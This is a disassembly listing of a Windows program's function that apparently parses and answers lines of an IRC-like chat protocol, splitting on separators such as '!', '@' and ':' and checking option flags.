lea ecx, [esp+20h+arg_464]
push ecx
lea ecx, [esp+24h+var_8]
call sub_401A9B
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_364]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490E8
mov byte ptr [esp+20h+arg_246C], 1
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jnz short loc_410270
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_3F4]
push 4
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset dword_4493A4
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 2
call sub_401B86
test eax, eax
lea ecx, [esp+20h+arg_3F4]
mov byte ptr [esp+20h+arg_246C], 1
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_410274
loc_410270: ; CODE XREF: sub_40FE30+3EAj
mov [esp+20h+var_D], bl
loc_410274: ; CODE XREF: sub_40FE30+43Ej
lea ecx, [esp+20h+arg_364]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_410296
mov byte ptr [ebp+16h], 1
jmp loc_4111F7
; ---------------------------------------------------------------------------
loc_410296: ; CODE XREF: sub_40FE30+45Bj
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_F4]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490BC
mov byte ptr [esp+20h+arg_246C], 3
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_F4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_444600 ; " "
cmp al, bl
push 1
jz short loc_410334
lea edx, [esp+28h+arg_2A4]
lea ecx, [esp+28h+var_8]
push edx
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 4
call sub_4017EE
push eax
mov eax, dword_4490D8
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E24
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2A4]
jmp loc_410462
; ---------------------------------------------------------------------------
loc_410334: ; CODE XREF: sub_40FE30+4BAj
lea edx, [esp+28h+arg_124]
lea ecx, [esp+28h+var_8]
push edx
call sub_4016B8
mov ecx, dword_4490C0
mov byte ptr [esp+20h+arg_246C], 5
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_124]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_444600 ; " "
cmp al, bl
jz loc_4104A0
lea edx, [esp+24h+arg_40C]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 6
call sub_4012EE
lea ecx, [esp+20h+arg_40C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp esi, ebx
jz loc_4111F7
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_154]
push 11h
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490D8
mov byte ptr [esp+20h+arg_246C], 7
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_154]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_410467
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_2D4]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 8
call sub_4017EE
push eax
mov eax, dword_4490D8
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E24
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2D4]
loc_410462: ; CODE XREF: sub_40FE30+4FFj
call sub_401226
loc_410467: ; CODE XREF: sub_40FE30+5E6j
cmp [ebp+16h], bl
jnz loc_4111F7
mov ecx, offset byte_4493ED
call sub_4017EE
push eax
mov ecx, offset dword_4493A4
call sub_4017EE
mov ecx, dword_4490C4
push eax
push ecx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E24
add esp, 14h
jmp loc_4111F7
; ---------------------------------------------------------------------------
loc_4104A0: ; CODE XREF: sub_40FE30+550j
lea edx, [esp+24h+arg_394]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490F8
mov byte ptr [esp+20h+arg_246C], 9
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jz short loc_410522
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_184]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490FC
mov byte ptr [esp+20h+arg_246C], 0Ah
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_184]
mov byte ptr [esp+20h+arg_246C], 9
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_410527
loc_410522: ; CODE XREF: sub_40FE30+69Bj
mov [esp+20h+var_D], 1
loc_410527: ; CODE XREF: sub_40FE30+6F0j
lea ecx, [esp+20h+arg_394]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_410594
cmp [ebp+16h], bl
jnz short loc_410570
mov ecx, offset byte_4493ED
call sub_4017EE
push eax
mov ecx, offset dword_4493A4
call sub_4017EE
mov edx, dword_4490C4
push eax
push edx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E24
add esp, 14h
loc_410570: ; CODE XREF: sub_40FE30+713j
mov ecx, offset byte_4E8E45
call sub_4017EE
push eax
mov eax, dword_4490CC
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E24
add esp, 10h
jmp loc_4111F7
; ---------------------------------------------------------------------------
loc_410594: ; CODE XREF: sub_40FE30+70Ej
push offset asc_444600 ; " "
lea ecx, [esp+24h+arg_1B4]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov edx, dword_4490D4
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Bh
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_1B4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_444600 ; " "
cmp al, bl
jz short loc_410645
lea eax, [esp+24h+arg_94]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+24h+arg_94]
mov byte ptr [esp+24h+arg_246C], 0Ch
call sub_4014DD
push eax
nop
call near ptr 77C47C60h
add esp, 8
cmp eax, ebx
jz short loc_41062D
inc eax
lea ecx, [ebp+28h]
push eax
call sub_4015E1
loc_41062D: ; CODE XREF: sub_40FE30+7F1j
lea ecx, [esp+20h+arg_94]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_4111F7
; ---------------------------------------------------------------------------
loc_410645: ; CODE XREF: sub_40FE30+7B7j
lea ecx, [esp+24h+arg_304]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov edx, dword_4490D0
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Dh
call sub_4012EE
test eax, eax
jnz short loc_410680
mov al, byte_449804
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_410684
loc_410680: ; CODE XREF: sub_40FE30+840j
mov [esp+20h+var_D], bl
loc_410684: ; CODE XREF: sub_40FE30+84Ej
lea ecx, [esp+20h+arg_304]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410991
push offset asc_444C64 ; ":"
lea eax, [esp+24h+arg_4C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push 96h
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 0Fh
jz short loc_4106E2
mov ecx, eax
call sub_402072
loc_4106E2: ; CODE XREF: sub_40FE30+8A9j
push 0ADh
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 10h
jz short loc_41070E
mov ecx, eax
call sub_4010BE
loc_41070E: ; CODE XREF: sub_40FE30+8D5j
push offset asc_4445EC ; "|"
lea ecx, [esp+24h+arg_4C]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_401AAF
push offset asc_4445EC ; "|"
lea ecx, [esp+24h+arg_7C]
push ebx
push ecx
lea ecx, [esp+2Ch+arg_4C]
xor edi, edi
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012EE
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
cmp esi, ebx
jz loc_41097C
loc_41076F: ; CODE XREF: sub_40FE30+B46j
push 96h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 12h
jz short loc_410797
mov ecx, eax
call sub_402072
mov esi, eax
jmp short loc_410799
; ---------------------------------------------------------------------------
loc_410797: ; CODE XREF: sub_40FE30+95Aj
xor esi, esi
loc_410799: ; CODE XREF: sub_40FE30+965j
push 0ADh
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 13h
jz short loc_4107CB
mov ecx, eax
call sub_4010BE
mov [esp+20h+var_C], eax
jmp short loc_4107CF
; ---------------------------------------------------------------------------
loc_4107CB: ; CODE XREF: sub_40FE30+98Cj
mov [esp+20h+var_C], ebx
loc_4107CF: ; CODE XREF: sub_40FE30+999j
push offset aS_2 ; " -s"
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4013ED
test eax, eax
jz short loc_4107F2
mov byte ptr [esi+93h], 1
jmp short loc_4107F8
; ---------------------------------------------------------------------------
loc_4107F2: ; CODE XREF: sub_40FE30+9B7j
mov [esi+93h], bl
loc_4107F8: ; CODE XREF: sub_40FE30+9C0j
push offset aN_0 ; " -n"
lea ecx, [esp+24h+var_8]
call sub_4013ED
test eax, eax
jz short loc_410813
mov byte ptr [esi+94h], 1
jmp short loc_410819
; ---------------------------------------------------------------------------
loc_410813: ; CODE XREF: sub_40FE30+9D8j
mov [esi+94h], bl
loc_410819: ; CODE XREF: sub_40FE30+9E1j
push offset aO ; " -o"
lea ecx, [esp+24h+var_8]
call sub_4013ED
test eax, eax
jz short loc_410834
mov byte ptr [esi+95h], 1
jmp short loc_41083A
; ---------------------------------------------------------------------------
loc_410834: ; CODE XREF: sub_40FE30+9F9j
mov [esi+95h], bl
loc_41083A: ; CODE XREF: sub_40FE30+A02j
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_1E4]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 14h
call sub_401FDC
lea ecx, [esp+20h+arg_1E4]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
push offset byte_448F30
lea ecx, [esi+54h]
call sub_4015E1
push offset byte_448F30
lea ecx, [esi+3Fh]
call sub_4015E1
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_AC]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 15h
call sub_401FDC
lea ecx, [esp+20h+arg_AC]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
push offset asc_4445EC ; "|"
lea ecx, [esp+24h+arg_214]
push edi
push ecx
lea ecx, [esp+2Ch+arg_4C]
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 16h
call sub_4017EE
push eax
mov ecx, esi
call sub_4015E1
lea ecx, [esp+20h+arg_214]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
mov ecx, [esp+20h+var_C]
push 1
push esi
call sub_401DFC
cmp esi, ebx
jz short loc_410929
push 1
mov ecx, esi
call sub_4019E2
loc_410929: ; CODE XREF: sub_40FE30+AEEj
mov ecx, [esp+20h+var_C]
call sub_4013DE
inc edi
push offset asc_4445EC ; "|"
lea edx, [esp+24h+arg_7C]
push edi
push edx
lea ecx, [esp+2Ch+arg_4C]
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012EE
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
cmp esi, ebx
jnz loc_41076F
loc_41097C: ; CODE XREF: sub_40FE30+939j
lea ecx, [esp+20h+arg_4C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_4111F7
; ---------------------------------------------------------------------------
loc_410991: ; CODE XREF: sub_40FE30+86Bj
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_334]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490C8
mov byte ptr [esp+20h+arg_246C], 17h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_334]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410CAB
push 96h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 18h
jz short loc_410A0B
mov ecx, eax
call sub_402072
mov esi, eax
jmp short loc_410A0D
; ---------------------------------------------------------------------------
loc_410A0B: ; CODE XREF: sub_40FE30+BCEj
xor esi, esi
loc_410A0D: ; CODE XREF: sub_40FE30+BD9j
push 0ADh
mov byte ptr [esp+24h+arg_246C], bl
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 19h
jz short loc_410A3C
mov ecx, eax
call sub_4010BE
mov edi, eax
jmp short loc_410A3E
; ---------------------------------------------------------------------------
loc_410A3C: ; CODE XREF: sub_40FE30+BFFj
xor edi, edi
loc_410A3E: ; CODE XREF: sub_40FE30+C0Aj
push offset aO ; " -o"
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], bl
call sub_4013ED
test eax, eax
jz short loc_410A60
mov byte ptr [esi+95h], 1
jmp short loc_410A66
; ---------------------------------------------------------------------------
loc_410A60: ; CODE XREF: sub_40FE30+C25j
mov [esi+95h], bl
loc_410A66: ; CODE XREF: sub_40FE30+C2Ej
push offset aS_2 ; " -s"
lea ecx, [esp+24h+var_8]
call sub_4013ED
test eax, eax
jz short loc_410A81
mov byte ptr [esi+93h], 1
jmp short loc_410A87
; ---------------------------------------------------------------------------
loc_410A81: ; CODE XREF: sub_40FE30+C46j
mov [esi+93h], bl
loc_410A87: ; CODE XREF: sub_40FE30+C4Fj
push offset aN_0 ; " -n"
lea ecx, [esp+24h+var_8]
call sub_4013ED
test eax, eax
jz short loc_410AA2
mov byte ptr [esi+94h], 1
jmp short loc_410AA8
; ---------------------------------------------------------------------------
loc_410AA2: ; CODE XREF: sub_40FE30+C67j
mov [esi+94h], bl
loc_410AA8: ; CODE XREF: sub_40FE30+C70j
push offset asc_444C64 ; ":"
lea edx, [esp+24h+arg_274]
push ebx
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset asc_444600 ; " "
lea ecx, [esp+24h+arg_3C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Ah
call sub_4016B8
push offset asc_444C58 ; "!"
lea edx, [esp+24h+arg_244]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Bh
call sub_4016B8
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 1Ch
call sub_401FDC
lea ecx, [esp+20h+arg_244]
mov byte ptr [esp+20h+arg_246C], 1Bh
call sub_401226
lea ecx, [esp+20h+arg_3C4]
mov byte ptr [esp+20h+arg_246C], 1Ah
call sub_401226
lea ecx, [esp+20h+arg_274]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_444C58 ; "!"
lea eax, [esp+24h+arg_DC]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+24h+arg_C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Dh
call sub_4016B8
push eax
lea ecx, [esi+54h]
mov byte ptr [esp+24h+arg_246C], 1Eh
call sub_401FDC
lea ecx, [esp+20h+arg_C4]
mov byte ptr [esp+20h+arg_246C], 1Dh
call sub_401226
lea ecx, [esp+20h+arg_DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset a@ ; "@"
lea edx, [esp+24h+arg_13C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset asc_444600 ; " "
lea ecx, [esp+24h+arg_10C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Fh
call sub_4016B8
push eax
lea ecx, [esi+3Fh]
mov byte ptr [esp+24h+arg_246C], 20h
call sub_401FDC
mov byte ptr [esp+20h+arg_246C], 1Fh
lea ecx, [esp+20h+arg_10C]
call sub_401226
lea ecx, [esp+20h+arg_13C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_16C]
push 2
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 21h
call sub_401FDC
lea ecx, [esp+20h+arg_16C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_444C54 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014DD
push eax
call near ptr 77C47C60h
nop
add esp, 8
cmp eax, ebx
jz short loc_410C7D
add eax, 2
push eax
jmp short loc_410C82
; ---------------------------------------------------------------------------
loc_410C7D: ; CODE XREF: sub_40FE30+E45j
push offset byte_448F30
loc_410C82: ; CODE XREF: sub_40FE30+E4Bj
mov ecx, esi
call sub_4015E1
push ebx
push esi
mov ecx, edi
call sub_401DFC
cmp esi, ebx
jz short loc_410C9F
push 1
mov ecx, esi
call sub_4019E2
loc_410C9F: ; CODE XREF: sub_40FE30+E64j
mov ecx, edi
call sub_4013DE
jmp loc_4111F7
; ---------------------------------------------------------------------------
loc_410CAB: ; CODE XREF: sub_40FE30+BADj
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_19C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490EC
mov byte ptr [esp+20h+arg_246C], 22h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_19C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410E80
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov edx, esp
mov [esp+38h+var_C], esp
push offset asc_444600 ; " "
push 3
push edx
call sub_4016B8
mov ecx, offset word_44AC5E
call sub_401CE4
cmp eax, ebx
jz short loc_410D72
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov eax, esp
mov [esp+38h+var_C], esp
push offset asc_444600 ; " "
push 3
push eax
call sub_4016B8
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 23h
mov ecx, esp
mov [esp+50h+arg_C], esp
push offset asc_444600 ; " "
push 3
push ecx
lea ecx, [esp+5Ch+var_8]
call sub_4016B8
mov ecx, offset word_44AC5E
mov byte ptr [esp+50h+arg_246C], bl
call sub_40212B
loc_410D72: ; CODE XREF: sub_40FE30+EF3j
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_1CC]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset byte_4E8E45
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 24h
call sub_401B86
test eax, eax
lea ecx, [esp+20h+arg_1CC]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_4111F7
push offset asc_444C64 ; ":"
lea eax, [esp+24h+arg_22C]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset asc_444C58 ; "!"
lea ecx, [esp+24h+arg_1FC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 25h
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 26h
call sub_4017EE
push eax
lea ecx, [esp+24h+arg_25C]
call sub_401870
lea ecx, [esp+20h+arg_1FC]
mov byte ptr [esp+20h+arg_246C], 29h
call sub_401226
lea ecx, [esp+20h+arg_22C]
mov byte ptr [esp+20h+arg_246C], 28h
call sub_401226
mov ecx, offset byte_4493ED
mov [ebp+16h], bl
call sub_4017EE
push eax
mov ecx, offset dword_4493A4
call sub_4017EE
mov edx, dword_4490C4
push eax
push edx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E24
add esp, 14h
lea ecx, [esp+20h+arg_25C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_4111F7
; ---------------------------------------------------------------------------
loc_410E80: ; CODE XREF: sub_40FE30+EC7j
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_28C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490E0
mov byte ptr [esp+20h+arg_246C], 2Ah
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_28C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411038
push offset asc_444C64 ; ":"
lea edx, [esp+24h+arg_2EC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset asc_444C58 ; "!"
lea ecx, [esp+24h+arg_2BC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 2Bh
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 2Ch
call sub_4017EE
push eax
lea ecx, [esp+24h+arg_34]
call sub_401870
lea ecx, [esp+20h+arg_2BC]
mov byte ptr [esp+20h+arg_246C], 2Fh
call sub_401226
lea ecx, [esp+20h+arg_2EC]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_401226
push offset asc_444C54 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014DD
mov esi, dword_511B04
push eax
call esi ; strstr
add esp, 8
test eax, eax
jz loc_411023
push offset asc_444C54 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014DD
push eax
call esi ; strstr
add esp, 8
lea ecx, [esp+20h+arg_64]
push eax
call sub_401870
push offset byte_448F30
lea ecx, [esp+24h+arg_34]
mov byte ptr [esp+24h+arg_246C], 30h
call sub_4012EE
test eax, eax
jz short loc_41100F
push offset byte_448F30
lea ecx, [esp+24h+arg_64]
call sub_4012EE
test eax, eax
jz short loc_41100F
sub esp, 18h
lea edx, [esp+38h+arg_34]
mov ecx, esp
mov [esp+38h+arg_C], esp
push edx
call sub_4014D3
mov ecx, offset word_44AC5E
call sub_401CE4
cmp eax, ebx
jz short loc_410FEB
lea ecx, [esp+20h+arg_64]
push ecx
lea ecx, [eax+19h]
call sub_401FDC
loc_410FEB: ; CODE XREF: sub_40FE30+11A9j
push offset byte_4E8E45
lea ecx, [esp+24h+arg_34]
call sub_401B86
test eax, eax
jnz short loc_41100F
lea edx, [esp+20h+arg_64]
mov ecx, offset byte_4E8E45
push edx
call sub_401FDC
loc_41100F: ; CODE XREF: sub_40FE30+1173j
; sub_40FE30+1188j ...
lea ecx, [esp+20h+arg_64]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_401226
loc_411023: ; CODE XREF: sub_40FE30+1134j
lea ecx, [esp+20h+arg_34]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_4111F7
; ---------------------------------------------------------------------------
loc_411038: ; CODE XREF: sub_40FE30+109Cj
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_34C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490F0
mov byte ptr [esp+20h+arg_246C], 31h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jz short loc_4110BF
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_31C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_449100
mov byte ptr [esp+20h+arg_246C], 32h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_31C]
mov byte ptr [esp+20h+arg_246C], 31h
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_4110C4
loc_4110BF: ; CODE XREF: sub_40FE30+1238j
mov [esp+20h+var_D], 1
loc_4110C4: ; CODE XREF: sub_40FE30+128Dj
lea ecx, [esp+20h+arg_34C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_4111F7
push offset asc_444C64 ; ":"
lea edx, [esp+24h+arg_37C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 33h
mov ecx, esp
mov [esp+38h+arg_C], esp
push offset asc_444C58 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016B8
mov ecx, offset word_44AC5E
call sub_401CE4
lea ecx, [esp+20h+arg_37C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp esi, ebx
jz loc_4111F7
push offset asc_444C64 ; ":"
lea edx, [esp+24h+arg_3DC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 34h
mov ecx, esp
mov [esp+38h+arg_C], esp
push offset asc_444C58 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016B8
push offset asc_444C64 ; ":"
lea edx, [esp+3Ch+arg_3AC]
push 1
push edx
lea ecx, [esp+44h+var_8]
mov byte ptr [esp+44h+arg_246C], 35h
call sub_4016B8
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 36h
mov ecx, esp
mov [esp+50h+var_C], esp
push offset asc_444C58 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016B8
mov ecx, offset word_44AC5E
mov byte ptr [esp+50h+arg_246C], 37h
call sub_40212B
lea ecx, [esp+20h+arg_3AC]
mov byte ptr [esp+20h+arg_246C], 34h
call sub_401226
lea ecx, [esp+20h+arg_3DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp short loc_4111F7
; ---------------------------------------------------------------------------
loc_4111F0: ; CODE XREF: sub_40FE30+391j
mov ecx, ebp
call sub_401D20
loc_4111F7: ; CODE XREF: sub_40FE30+1D3j
; sub_40FE30+253j ...
cmp [ebp+17h], bl
jnz loc_40FE72
loc_411200: ; CODE XREF: sub_40FE30+3Cj
; sub_40FE30+4Fj
lea ecx, [esp+20h+var_8]
mov [esp+20h+arg_246C], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+20h+arg_2464]
pop edi
pop esi
pop ebp
xor eax, eax
mov large fs:0, ecx
pop ebx
add esp, 2484h
retn
sub_40FE30 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
db 500h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411730 proc near ; CODE XREF: sub_4019E2j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401979
test [esp+4+arg_0], 1
jz short loc_411748
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_411748: ; CODE XREF: sub_411730+Dj
mov eax, esi
pop esi
retn 4
sub_411730 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_411760 proc near ; CODE XREF: sub_401A19j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_411760
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
jz short loc_411786
lea edi, [esi+11h]
jmp short loc_411788
; ---------------------------------------------------------------------------
loc_411786: ; CODE XREF: sub_411760+1Fj
xor edi, edi
loc_411788: ; CODE XREF: sub_411760+24j
push 0
push 17h
push 1
push 12h
push 4Fh
lea eax, [esp+5Ch+var_3C]
push 9
push eax
call sub_4019C4
add esp, 1Ch
push edi
mov ecx, eax
mov [esp+4Ch+var_4], 0
call sub_4017EE
lea ecx, [esi+250h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_411760 endp
